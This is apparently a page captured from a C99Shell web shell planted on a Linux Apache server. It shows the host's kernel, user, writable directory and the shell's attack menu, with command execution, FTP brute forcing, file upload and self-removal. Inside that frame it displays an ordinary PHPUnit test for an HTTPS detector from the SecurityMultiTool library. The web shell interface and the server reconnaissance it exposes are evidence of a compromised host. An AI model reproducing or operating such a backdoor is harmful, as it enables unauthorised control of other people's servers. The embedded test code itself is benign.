!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/siu/security-multitool/tests/SecurityMultiTool/Http/   drwxrwxr-x
Free 15.6 GB of 61.93 GB (25.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     HttpsDetectorTest.php (2.57 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * SecurityMultiTool
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * https://github.com/padraic/SecurityMultiTool/blob/master/LICENSE
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to padraic@php.net so we can send you a copy immediately.
 *
 * @category   SecurityMultiTool
 * @package    SecurityMultiTool
 * @subpackage UnitTests
 * @copyright  Copyright (c) 2013 Pádraic Brady (http://blog.astrumfutura.com)
 * @license    http://github.com/padraic/SecurityMultiTool/blob/master/LICENSE New BSD License
 */

use SecurityMultiTool\Http\HttpsDetector;

class 
HttpsDetectorTest extends \PHPUnit_Framework_TestCase
{

    public function 
setup()
    {
        
$this->server $_SERVER;
    }

    public function 
teardown()
    {
        
$_SERVER $this->server;
    }

    public function 
testDetectorWorksWithHttpsSetTo1()
    {
        
$_SERVER['HTTPS'] = 1;
        
$this->assertTrue(HttpsDetector::isHttpsRequest());
        
$_SERVER['HTTPS'] = 0;
        
$this->assertFalse(HttpsDetector::isHttpsRequest());
    }

    public function 
testDetectorWorksWithHttpsSetToOn()
    {
        
$_SERVER['HTTPS'] = 'on';
        
$this->assertTrue(HttpsDetector::isHttpsRequest());
        
$_SERVER['HTTPS'] = 'ON';
        
$this->assertTrue(HttpsDetector::isHttpsRequest());
        
$_SERVER['HTTPS'] = 'off';
        
$this->assertFalse(HttpsDetector::isHttpsRequest());
        
$_SERVER['HTTPS'] = 'OFF';
        
$this->assertFalse(HttpsDetector::isHttpsRequest());
    }

    public function 
testDetectorWorksHttpXForwardedProtoSetToHttps()
    {
        
$_SERVER['HTTP_X_FORWARDED_PROTO'] = 'https';
        
$this->assertTrue(HttpsDetector::isHttpsRequest());
        
$_SERVER['HTTP_X_FORWARDED_PROTO'] = 'HTTPS';
        
$this->assertTrue(HttpsDetector::isHttpsRequest());
        
$_SERVER['HTTP_X_FORWARDED_PROTO'] = 'http';
        
$this->assertFalse(HttpsDetector::isHttpsRequest());
        
$_SERVER['HTTP_X_FORWARDED_PROTO'] = 'HTTP';
        
$this->assertFalse(HttpsDetector::isHttpsRequest());
    }

    public function 
testDetectorWorksWithServerPortSetTo443()
    {
        
$_SERVER['SERVER_PORT'] = 443;
        
$this->assertTrue(HttpsDetector::isHttpsRequest());
        
$_SERVER['SERVER_PORT'] = 80;
        
$this->assertFalse(HttpsDetector::isHttpsRequest());
        
$_SERVER['SERVER_PORT'] = 8080;
        
$this->assertFalse(HttpsDetector::isHttpsRequest());
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.2801 ]--